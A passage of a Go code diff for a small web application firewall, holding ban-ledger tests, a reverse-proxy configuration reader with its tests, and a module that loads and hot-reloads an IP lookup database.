+	ledger.Check(netblock.Addr(), midnight().Add(time.Minute))
+	wantChanged(t, ledger, false)
+
+	// Two bans before the value is read leave one.
+	ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
+	ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
+	wantChanged(t, ledger, true)
+	wantChanged(t, ledger, false)
+}
+
+func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	v6 := netip.MustParsePrefix("2001:db8::/64")
+	high := netip.MustParsePrefix("203.0.113.10/32")
+	low := netip.MustParsePrefix("203.0.113.9/32")
+
+	first, _ := ledger.BanForLimit(v6, midnight(), bans.Notes{})
+	ledger.BanForLimit(high, midnight(), bans.Notes{})
+	ledger.BanForLimit(low, midnight(), bans.Notes{})
+	ledger.BanForLimit(v6, first.Expires, bans.Notes{})
+
+	snapshot := ledger.Snapshot()
+
+	got := make([]string, 0, len(snapshot))
+	for _, ban := range snapshot {
+		got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
+	}
+
+	want := []string{
+		"203.0.113.9/32 12:00AM", "203.0.113.10/32 12:00AM",
+		"2001:db8::/64 12:00AM", "2001:db8::/64 1:00AM",
+	}
+	if !slices.Equal(got, want) {
+		t.Errorf("snapshot %v, want %v", got, want)
+	}
+}
+
+func TestLoadedBansCarryOn(t *testing.T) {
+	t.Parallel()
+
+	before := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	ban, _ := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1})
+
+	// Loaded into a new ledger, as across a restart, the ban still refuses
+	// while it lasts, and once it has ended a broken limit bans for three
+	// times as long, with the loaded ban counted among the earlier ones.
+	after := bans.New(defaultRules())
+	after.Load(before.Snapshot())
+
+	_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
+	if !banned {
+		t.Error("the loaded ban does not refuse")
+	}
+
+	again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
+	if again.Expires.Sub(again.Start) != 3*time.Hour ||
+		again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
+		t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
+			again.Expires.Sub(again.Start), again.Notes.EarlierBans)
+	}
+}
+
+func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
+	t.Parallel()
+
+	// Two entries as an admin might write them, with addresses not masked
+	// to their lengths, the IPv6 one shorter than the /64 an IPv6 client's
+	// ban covers, beside a ban the ledger makes on one IPv4 address.
+	ledger := bans.New(defaultRules())
+	ledger.Load([]bans.Ban{
+		{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
+		{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
+	})
+	ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
+
+	for client, want := range map[string]bool{
+		"203.0.113.0":     true,
+		"203.0.113.200":   true,
+		"203.0.114.1":     false,
+		"2001:db8:0:5::1": true,
+		"2001:db8:1::1":   false,
+		"198.51.100.7":    true,
+		"198.51.100.8":    false,
+	} {
+		_, banned, _ := ledger.Check(netip.MustParseAddr(client), midnight())
+		if banned != want {
+			t.Errorf("%s is refused: %t, want %t", client, banned, want)
+		}
+	}
+
+	// The loaded netblocks are written back masked.
+	snapshot := ledger.Snapshot()
+
+	got := make([]string, 0, len(snapshot))
+	for _, ban := range snapshot {
+		got = append(got, ban.Netblock.String())
+	}
+
+	want := []string{"198.51.100.7/32", "203.0.113.0/24", "2001:db8::/48"}
+	if !slices.Equal(got, want) {
+		t.Errorf("the ledger holds bans on %v, want %v", got, want)
+	}
+}
+
+func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
+	t.Parallel()
+
+	// As when an admin adds a permanent ban to bans.json with a start
+	// before that of the netblock's ban that has ended.
+	netblock := netip.MustParsePrefix("203.0.113.0/24")
+	permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
+	ended := bans.Ban{
+		Netblock: netblock,
+		Start:    midnight(),
+		Expires:  midnight().Add(time.Hour),
+	}
+
+	ledger := bans.New(defaultRules())
+	ledger.Load([]bans.Ban{permanent, ended})
+
+	now := midnight().Add(2 * time.Hour)
+	client := netip.MustParseAddr("203.0.113.9")
+
+	ban, banned, _ := ledger.Find(client, now)
+	if !banned || !ban.Permanent() {
+		t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
+	}
+
+	ban, banned, _ = ledger.Check(client, now)
+	if !banned || !ban.Permanent() {
+		t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
+			banned, ban)
+	}
+
+	// A limit broken now makes no shorter ban over the permanent one.
+	ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
+	if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
+		t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
+			"want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
+	}
+}
+
+func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
+	t.Parallel()
+
+	// A 9-hour ban smallwebwaf made, the third in a row, and an admin's
+	// 1-hour ban added to bans.json over it, with no cause and no notes.
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	nineHours := bans.Ban{
+		Netblock: netblock,
+		Start:    midnight(),
+		Expires:  midnight().Add(9 * time.Hour),
+		Cause:    bans.CauseLimit,
+		Notes:    bans.Notes{EarlierBans: bans.EarlierBans{Limit: 2}},
+	}
+	admins := bans.Ban{
+		Netblock: netblock,
+		Start:    midnight().Add(time.Hour),
+		Expires:  midnight().Add(2 * time.Hour),
+	}
+
+	ledger := bans.New(defaultRules())
+	ledger.Load([]bans.Ban{nineHours, admins})
+
+	// Once both have ended, a limit broken within the repeat window bans
+	// for three times the 9 hours, and the notes count the two bans
+	// before the 9-hour one and it, for a limit, and the admin's.
+	ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
+	if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
+		ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
+		t.Errorf("the next ban lasts %s with earlier bans %+v, "+
+			"want 27h, 3 for a limit and 1 an admin's",
+			ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
+	}
+}
+
+func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
+	t.Parallel()
+
+	// bans.json lists the bans by netblock, not in the order they began.
+	later := bans.Ban{
+		Netblock: netip.MustParsePrefix("203.0.113.1/32"),
+		Start:    midnight(),
+		Cause:    bans.CauseLimit,
+	}
+	earlier := bans.Ban{
+		Netblock: netip.MustParsePrefix("203.0.113.2/32"),
+		Start:    midnight().Add(-time.Hour),
+		Cause:    bans.CauseLimit,
+	}
+
+	rules := defaultRules()
+	rules.MaxBans = 1
+	ledger := bans.New(rules)
+	ledger.Load([]bans.Ban{later, earlier})
+
+	held := ledger.Snapshot()
+	if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
+		t.Errorf("the ledger holds %+v, want only the ban that began later", held)
+	}
+}
+
+func TestLoadReplacesTheBansHeld(t *testing.T) {
+	t.Parallel()
+
+	// Room for three bans, so that the second load, were it added to the
+	// two bans held, would drop none of them to make room.
+	rules := defaultRules()
+	rules.MaxBans = 3
+	ledger := bans.New(rules)
+	kept := bans.Ban{
+		Netblock: netip.MustParsePrefix("2001:db8::/64"),
+		Start:    midnight(),
+		Cause:    bans.CauseLimit,
+	}
+	ledger.Load([]bans.Ban{
+		{
+			Netblock: netip.MustParsePrefix("203.0.113.0/24"),
+			Start:    midnight(),
+			Cause:    bans.CauseLimit,
+		},
+		kept,
+	})
+
+	// Loaded again without the first ban, as when an admin's edit of
+	// bans.json is taken in, that ban is lifted.
+	ledger.Load([]bans.Ban{kept})
+
+	_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
+	if banned {
+		t.Error("a ban left out of the second load still refuses")
+	}
+
+	// The ledger holds one ban, so it makes two more without dropping any.
+	first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
+		bans.Notes{})
+	second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
+		bans.Notes{})
+
+	want := []bans.Ban{first, second, kept}
+	if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
+		t.Errorf("the ledger holds %+v, want %+v", got, want)
+	}
+}
+
+func TestLoadCutsTheTextsTo256Bytes(t *testing.T) {
+	t.Parallel()
+
+	long := strings.Repeat("a", 300)
+	ban := bans.Ban{
+		Netblock: netip.MustParsePrefix("203.0.113.9/32"),
+		Start:    midnight(),
+		Notes: bans.Notes{Request: bans.Request{
+			Method: long, Host: long, Path: long, UserAgent: long,
+		}},
+	}
+
+	ledger := bans.New(defaultRules())
+	ledger.Load([]bans.Ban{ban})
+
+	cut := long[:256]
+	want := bans.Request{Method: cut, Host: cut, Path: cut, UserAgent: cut}
+
+	got := ledger.Snapshot()[0].Notes.Request
+	if got != want {
+		t.Errorf("the notes keep %+v, want each text cut to 256 bytes", got)
+	}
+}
+
+// wantChanged checks whether the ledger's Changed has a value to read.
+func wantChanged(t *testing.T, ledger *bans.Ledger, want bool) {
+	t.Helper()
+
+	got := false
+
+	select {
+	case <-ledger.Changed():
+		got = true
+	default:
+	}
+
+	if got != want {
+		t.Errorf("Changed has a value: %t, want %t", got, want)
+	}
+}

internal/config/rproxy.go

@@ -0,0 +1,192 @@
+package config
+
+import (
+	"errors"
+	"fmt"
+	"log/slog"
+	"math"
+	"net/netip"
+	"net/url"
+	"strconv"
+	"strings"
+	"time"
+)
+
+// RProxy is the settings of `smallwebwaf rproxy`. A size or time limit of zero
+// is off.
+type RProxy struct {
+	// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
+	ListenAddr string
+	// UpstreamURL is the app (SWRP_UPSTREAM_URL).
+	UpstreamURL *url.URL
+	// TrustedProxies are the netblocks whose X-Forwarded-For is believed
+	// (SWRP_TRUSTED_PROXIES).
+	TrustedProxies []netip.Prefix
+	// WAFBackend is servewaf's URL (SWRP_WAF_BACKEND).
+	WAFBackend *url.URL
+	// Timeout is how long rproxy waits for servewaf's answer to a question,
+	// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
+	Timeout time.Duration
+	// DefaultDisposition is what is done with a request when servewaf cannot be
+	// connected to, does not answer at all, or does not answer within Timeout:
+	// allow or deny (SWRP_DEFAULT_DISPOSITION).
+	DefaultDisposition string
+	// MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and
+	// MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE).
+	MaxRequestSize  int64
+	MaxResponseSize int64
+	// MaxRequestTime bounds sending the whole request: the visitor's request
+	// line and headers, and then, from their end, its body on its way to the
+	// app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
+	// the end of the request to its last byte reaching the visitor
+	// (SWRP_MAX_RESPONSE_TIME_MS).
+	MaxRequestTime  time.Duration
+	MaxResponseTime time.Duration
+
+	// settings are the values read, as given or by default, for the log line
+	// at start.
+	settings []slog.Attr
+}
+
+var (
+	errNeedsWAFBackend = errors.New(
+		"is required: it is servewaf's URL, such as http://servewaf:8080")
+	errNotDisposition  = errors.New("is not allow or deny")
+	errNotMilliseconds = errors.New(
+		"is not a whole number of milliseconds above zero, such as 2000")
+	errNotMillisecondsOrOff = errors.New(
+		"is not a whole number of milliseconds above zero, such as 60000, or off")
+)
+
+// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
+// os.LookupEnv. A setting that is not set takes its default, and
+// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
+// invalid is an error that names it. Since rproxy never touches disk, its
+// settings have no _FILE form.
+func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
+	env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
+	cfg := &RProxy{
+		ListenAddr:         env.address("SWRP_LISTEN_ADDR"),
+		UpstreamURL:        env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
+		TrustedProxies:     env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
+		WAFBackend:         env.wafBackend("SWRP_WAF_BACKEND"),
+		Timeout:            env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
+		DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
+		MaxRequestSize:     env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
+		MaxResponseSize:    env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
+		MaxRequestTime:     env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
+		MaxResponseTime:    env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
+	}
+
+	if env.err != nil {
+		return nil, env.err
+	}
+
+	cfg.settings = env.settings
+
+	return cfg, nil
+}
+
+// RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and
+// SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other
+// setting, so it reads no other.
+func RProxyListenAddrAndUpstreamURL(
+	lookupEnv func(string) (string, bool),
+) (string, *url.URL, error) {
+	env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
+	listenAddr := env.address("SWRP_LISTEN_ADDR")
+	upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL)
+
+	if env.err != nil {
+		return "", nil, env.err
+	}
+
+	return listenAddr, upstreamURL, nil
+}
+
+// withoutFileForms returns lookupEnv finding no setting named with _FILE, since
+// rproxy never touches disk.
+func withoutFileForms(
+	lookupEnv func(string) (string, bool),
+) func(string) (string, bool) {
+	return func(name string) (string, bool) {
+		if strings.HasSuffix(name, "_FILE") {
+			return "", false
+		}
+
+		return lookupEnv(name)
+	}
+}
+
+// LogValue makes an RProxy log as each setting's name with the value it was
+// given, or its default.
+func (c *RProxy) LogValue() slog.Value {
+	return slog.GroupValue(c.settings...)
+}
+
+// wafBackend reads the setting that is servewaf's URL, which must be set.
+func (e *environment) wafBackend(name string) *url.URL {
+	value := e.value(name, "")
+	if value == "" {
+		e.check(name, errNeedsWAFBackend)
+
+		return nil
+	}
+
+	backend, err := parseUpstreamURL(value)
+	e.check(name, err)
+
+	return backend
+}
+
+// disposition reads the setting that is what is done with a request when servewaf
+// cannot be connected to, does not answer at all, or does not answer in time:
+// allow or deny.
+func (e *environment) disposition(name, defaultValue string) string {
+	value := e.value(name, defaultValue)
+	if value != "allow" && value != "deny" {
+		e.check(name, fmt.Errorf("%q %w", value, errNotDisposition))
+	}
+
+	return value
+}
+
+// milliseconds reads a setting that is a whole number of milliseconds above
+// zero.
+func (e *environment) milliseconds(name, defaultValue string) time.Duration {
+	value := e.value(name, defaultValue)
+
+	duration, valid := parseMilliseconds(value)
+	if !valid {
+		e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
+	}
+
+	return duration
+}
+
+// millisecondsOrOff reads a setting that is a whole number of milliseconds
+// above zero, or off, which is 0.
+func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
+	value := e.value(name, defaultValue)
+	if value == off {
+		return 0
+	}
+
+	duration, valid := parseMilliseconds(value)
+	if !valid {
+		e.check(name, fmt.Errorf("%q %w", value, errNotMillisecondsOrOff))
+	}
+
+	return duration
+}
+
+// parseMilliseconds reads a whole number of milliseconds above zero, and
+// reports whether it is one.
+func parseMilliseconds(value string) (time.Duration, bool) {
+	n, err := strconv.ParseInt(value, 10, 64)
+	if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
+		return 0, false
+	}
+
+	return time.Duration(n) * time.Millisecond, true
+}

internal/config/rproxy_test.go

@@ -0,0 +1,231 @@
+package config_test
+
+import (
+	"net/netip"
+	"os"
+	"path/filepath"
+	"slices"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/config"
+)
+
+// rproxy's settings, by name, and their values in these tests.
+const (
+	wafBackend        = "SWRP_WAF_BACKEND"
+	rproxyTimeout     = "SWRP_TIMEOUT_MS"
+	rproxyDefault     = "SWRP_DEFAULT_DISPOSITION"
+	rproxyListen      = "SWRP_LISTEN_ADDR"
+	rproxyUpstream    = "SWRP_UPSTREAM_URL"
+	rproxyTrusted     = "SWRP_TRUSTED_PROXIES"
+	rproxyMaxRequest  = "SWRP_MAX_REQUEST_SIZE"
+	rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
+	rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
+	rproxyAnswerTime  = "SWRP_MAX_RESPONSE_TIME_MS"
+	backendURL        = "http://servewaf:8080"
+	rproxyDefaultAddr = ":8080"
+	rproxyDefaultApp  = "http://127.0.0.1:8081"
+	notASize          = "a lot"
+)
+
+// rproxyConfig reads rproxy's settings from env.
+func rproxyConfig(env map[string]string) (*config.RProxy, error) {
+	return config.RProxyFromEnvironment(func(name string) (string, bool) {
+		value, ok := env[name]
+
+		return value, ok
+	})
+}
+
+func TestRProxyDefaults(t *testing.T) {
+	t.Parallel()
+
+	cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL})
+	if err != nil {
+		t.Fatalf("settings: %v", err)
+	}
+
+	if cfg.ListenAddr != rproxyDefaultAddr ||
+		cfg.UpstreamURL.String() != rproxyDefaultApp ||
+		cfg.WAFBackend.String() != backendURL {
+		t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
+	}
+
+	if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
+		t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
+	}
+
+	if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
+		t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
+	}
+
+	if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
+		t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
+	}
+
+	want := []netip.Prefix{
+		netip.MustParsePrefix("10.0.0.0/8"),
+		netip.MustParsePrefix("172.16.0.0/12"),
+		netip.MustParsePrefix("192.168.0.0/16"),
+	}
+	if !slices.Equal(cfg.TrustedProxies, want) {
+		t.Errorf("trusted proxies %v, want %v", cfg.TrustedProxies, want)
+	}
+}
+
+func TestRProxySettingsAreRead(t *testing.T) {
+	t.Parallel()
+
+	cfg, err := rproxyConfig(map[string]string{
+		wafBackend:        "https://waf.example:8443",
+		rproxyListen:      ":9000",
+		rproxyUpstream:    "http://app:3000",
+		rproxyTrusted:     "192.0.2.0/24",
+		rproxyTimeout:     "150",
+		rproxyDefault:     "deny",
+		rproxyMaxRequest:  "1K",
+		rproxyMaxResponse: off,
+		rproxyRequestTime: off,
+		rproxyAnswerTime:  "250",
+	})
+	if err != nil {
+		t.Fatalf("settings: %v", err)
+	}
+
+	if cfg.ListenAddr != ":9000" || cfg.UpstreamURL.Host != "app:3000" ||
+		cfg.WAFBackend.Host != "waf.example:8443" ||
+		cfg.TrustedProxies[0] != netip.MustParsePrefix("192.0.2.0/24") {
+		t.Errorf("addresses %+v", cfg)
+	}
+
+	if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
+		cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
+		cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
+		t.Errorf("limits %+v", cfg)
+	}
+}
+
+func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name, value string
+	}{
+		{wafBackend, ""},
+		{wafBackend, "servewaf:8080"},
+		{wafBackend, "http://servewaf:8080/path"},
+		{rproxyTimeout, "0"},
+		{rproxyTimeout, "-1"},
+		{rproxyTimeout, off},
+		{rproxyTimeout, "2s"},
+		{rproxyTimeout, "1.25"},
+		{rproxyTimeout, "99999999999999999"},
+		{rproxyDefault, "maybe"},
+		{rproxyListen, "8080"},
+		{rproxyUpstream, "app"},
+		{rproxyUpstream, "127.0.0.1:8081"},
+		{rproxyUpstream, "ftp://127.0.0.1:8081"},
+		{rproxyUpstream, "http://"},
+		{rproxyUpstream, "http://:8081"},
+		{rproxyUpstream, "http://127.0.0.1:0"},
+		{rproxyUpstream, "http://127.0.0.1:99999"},
+		{rproxyUpstream, "http://127.0.0.1:8081/app"},
+		{rproxyUpstream, "http://127.0.0.1:8081/?a=1"},
+		{rproxyUpstream, "http://user:secret@127.0.0.1:8081"},
+		{rproxyTrusted, "not a netblock"},
+		{rproxyTrusted, "10.0.0.0/33"},
+		{rproxyTrusted, "10.0.0.0/8,,192.168.0.0/16"},
+		{rproxyTrusted, "fe80::1%eth0"},
+		{rproxyMaxRequest, notASize},
+		{rproxyMaxResponse, notASize},
+		{rproxyRequestTime, "0"},
+		{rproxyRequestTime, "1m"},
+		{rproxyAnswerTime, "0"},
+	} {
+		t.Run(tc.name+"="+tc.value, func(t *testing.T) {
+			t.Parallel()
+
+			_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
+			if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
+				t.Errorf("error %v, want one naming %s", err, tc.name)
+			}
+		})
+	}
+}
+
+func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
+	t.Parallel()
+
+	cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
+	if err != nil {
+		t.Fatalf("settings: %v", err)
+	}
+
+	if len(cfg.TrustedProxies) != 0 {
+		t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
+	}
+}
+
+func TestRProxyNeedsItsBackend(t *testing.T) {
+	t.Parallel()
+
+	_, err := rproxyConfig(nil)
+	if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
+		t.Errorf("error %v, want one saying %s is required", err, wafBackend)
+	}
+}
+
+func TestRProxyReadsNoFile(t *testing.T) {
+	t.Parallel()
+
+	path := filepath.Join(t.TempDir(), "backend")
+
+	err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600)
+	if err != nil {
+		t.Fatalf("write: %v", err)
+	}
+
+	_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
+	if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
+		t.Errorf("error %v, want %s still required", err, wafBackend)
+	}
+
+	cfg, err := rproxyConfig(map[string]string{
+		wafBackend:              backendURL,
+		rproxyTimeout + "_FILE": "/nonexistent/timeout",
+	})
+	if err != nil {
+		t.Fatalf("settings: %v, with the file left unread", err)
+	}
+
+	if cfg.Timeout != 2*time.Second {
+		t.Errorf("timeout %v, want the default", cfg.Timeout)
+	}
+}
+
+func TestRProxySettingsAreLoggedByName(t *testing.T) {
+	t.Parallel()
+
+	cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL})
+	if err != nil {
+		t.Fatalf("settings: %v", err)
+	}
+
+	group := cfg.LogValue().Group()
+
+	names := make([]string, 0, len(group))
+	for _, attr := range group {
+		names = append(names, attr.Key)
+	}
+
+	for _, name := range []string{
+		rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
+		rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
+	} {
+		if !slices.Contains(names, name) {
+			t.Errorf("%s is not logged, only %v", name, names)
+		}
+	}
+}

internal/lookup/export_test.go

@@ -0,0 +1,9 @@
+package lookup
+
+import "net/http"
+
+// SetTransport has g's requests to GeoJS go through transport instead of
+// the network.
+func (g *GeoJS) SetTransport(transport http.RoundTripper) {
+	g.httpClient.Transport = transport
+}

internal/lookup/file.go

@@ -0,0 +1,233 @@
+package lookup
+
+import (
+	"context"
+	"fmt"
+	"log/slog"
+	"net/netip"
+	"os"
+	"path/filepath"
+	"sync"
+	"time"
+
+	"github.com/fsnotify/fsnotify"
+	"github.com/oschwald/maxminddb-golang/v2"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+)
+
+// quietTime is how long the lookup database must go without a change
+// before it is read again, so that a file still being copied in is read
+// only once whole.
+const quietTime = 2 * time.Second
+
+// FileParams are what OpenFile needs.
+type FileParams struct {
+	// Path is the lookup database, the IPinfo Lite file in its .mmdb form
+	// (SWWAF_LOOKUP_DB_PATH).
+	Path string
+	// Now tells the time, normally time.Now.
+	Now func() time.Time
+	// ProcessLog receives each reading of the file, and why a replacement
+	// of it cannot be read.
+	ProcessLog *slog.Logger
+	// Alerts receive a file_error alert for each replacement that cannot
+	// be read.
+	Alerts *alerts.Queue
+}
+
+// File looks up clients' AS numbers and countries in the lookup database,
+// held in memory, and reads it again when it is replaced. It is safe for
+// concurrent use.
+type File struct {
+	params FileParams
+
+	mu sync.Mutex
+	// reader is the database in use, and lastRead when it was read.
+	// readFailures are the replacements that could not be read.
+	reader       *maxminddb.Reader
+	lastRead     time.Time
+	readFailures int
+}
+
+// record is what the lookup database holds about a network, of the fields
+// smallwebwaf reads.
+type record struct {
+	ASN         string `maxminddb:"asn"`
+	ASName      string `maxminddb:"as_name"`
+	CountryCode string `maxminddb:"country_code"`
+}
+
+// OpenFile reads the lookup database. A file that cannot be read, or that
+// is not a .mmdb file, is an error.
+func OpenFile(params FileParams) (*File, error) {
+	reader, err := read(params.Path)
+	if err != nil {
+		return nil, err
+	}
+
+	f := &File{params: params}
+	f.use(reader)
+
+	return f, nil
+}
+
+// LookUp returns what the lookup database says about client: its AS
+// number, such as AS64496, the AS's name, and its country, such as DE,
+// each "" when the database does not give it, as for an address missing
+// from it. The database is asked about the client's first address, as
+// GeoJS is.
+func (f *File) LookUp(client netip.Prefix) Answer {
+	f.mu.Lock()
+	reader := f.reader
+	f.mu.Unlock()
+
+	var found record
+
+	// A record that cannot be decoded places the client nowhere, as a
+	// missing one does.
+	err := reader.Lookup(client.Addr()).Decode(&found)
+	if err != nil {
+		found = record{}
+	}
+
+	return Answer{
+		Client:   client,
+		ASN:      found.ASN,
+		ASName:   found.ASName,
+		Country:  found.CountryCode,
+		Answered: f.params.Now(),
+	}
+}
+
+// LastRead returns when the lookup database in use was read.
+func (f *File) LastRead() time.Time {
+	f.mu.Lock()
+	defer f.mu.Unlock()
+
+	return f.lastRead
+}
+
+// ReadFailures returns how many replacements of the lookup database could
+// not be read.
+func (f *File) ReadFailures() int {
+	f.mu.Lock()
+	defer f.mu.Unlock()
+
+	return f.readFailures
+}
+
+// Watch watches the directory of the lookup database until ctx is done,
+// and reads the file again once it has gone without a change for
+// quietTime, after it is replaced, written or removed, and after Watch
+// starts watching. If the directory cannot be watched, that is logged, and
+// the database read at start stays in use.
+func (f *File) Watch(ctx context.Context) {
+	watcher, err := fsnotify.NewWatcher()
+	if err == nil {
+		defer func() {
+			_ = watcher.Close()
+		}()
+
+		err = watcher.Add(filepath.Dir(f.params.Path))
+	}
+
+	if err != nil {
+		f.params.ProcessLog.Error("cannot watch the lookup database for replacements",
+			"error", err.Error())
+
+		return
+	}
+
+	f.params.ProcessLog.Info("watching the lookup database for replacements",
+		"file", f.params.Path)
+
+	f.readAfterChanges(ctx, watcher.Events, watcher.Errors)
+}
+
+// readAfterChanges reads the lookup database again once quietTime has
+// passed without a change to it from events, until ctx is done, and logs
+// the errors from errs. A change to another file in its directory does not
+// count. The wait starts at once, as if for a change, so that a file
+// replaced after OpenFile read it, and before its directory was watched,
+// is read too.
+func (f *File) readAfterChanges(
+	ctx context.Context, events <-chan fsnotify.Event, errs <-chan error,
+) {
+	path := filepath.Clean(f.params.Path)
+
+	quiet := time.NewTimer(quietTime)
+	defer quiet.Stop()
+
+	for {
+		select {
+		case <-ctx.Done():
+			return
+		case event := <-events:
+			if filepath.Clean(event.Name) == path {
+				quiet.Reset(quietTime)
+			}
+		case <-quiet.C:
+			f.readAgain()
+		case err := <-errs:
+			f.params.ProcessLog.Warn("watching the lookup database failed",
+				"error", err.Error())
+		}
+	}
+}
+
+// readAgain reads the lookup database again, in place of the one in use,
+// or, if it cannot be read, counts that, raises a file_error alert for it
+// and logs it, and the one in use stays in use.
+func (f *File) readAgain() {
+	reader, err := read(f.params.Path)
+	if err != nil {
+		const kept = "the lookup database cannot be read, " +
+			"and the one read before stays in use"
+
+		f.mu.Lock()
+		f.readFailures++
+		f.mu.Unlock()
+
+		// Raised before it is logged, so that the alert is there once the
+		// log line is.
+		f.params.Alerts.Raise(alerts.Alert{
+			Event:  alerts.EventFileError,
+			Reason: kept,
+			Detail: map[string]any{"file": f.params.Path, "error": err.Error()},
+		})
+		f.params.ProcessLog.Error(kept, "error", err.Error())
+
+		return
+	}
+
+	f.use(reader)
+}
+
+// use puts reader in use, in place of the database read before, and logs
+// that the file was read.
+func (f *File) use(reader *maxminddb.Reader) {
+	f.mu.Lock()
+	f.reader = reader
+	f.lastRead = f.params.Now()
+	f.mu.Unlock()
+
+	f.params.ProcessLog.Info("read the lookup database", "file", f.params.Path)
+}
+
+// read reads the lookup database at path. The whole file is read into
+// memory, rather than mapped into it as the reader can, so that a file
+// overwritten in place cannot change, or end, under a lookup.
+func read(path string) (*maxminddb.Reader, error) {
+	data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
+	if err != nil {
+		return nil, fmt.Errorf("SWWAF_LOOKUP_DB_PATH cannot be read: %w", err)
+	}
+
+	reader, err := maxminddb.OpenBytes(data)
+	if err != nil {
+		return nil, fmt.Errorf("SWWAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
+	}
+
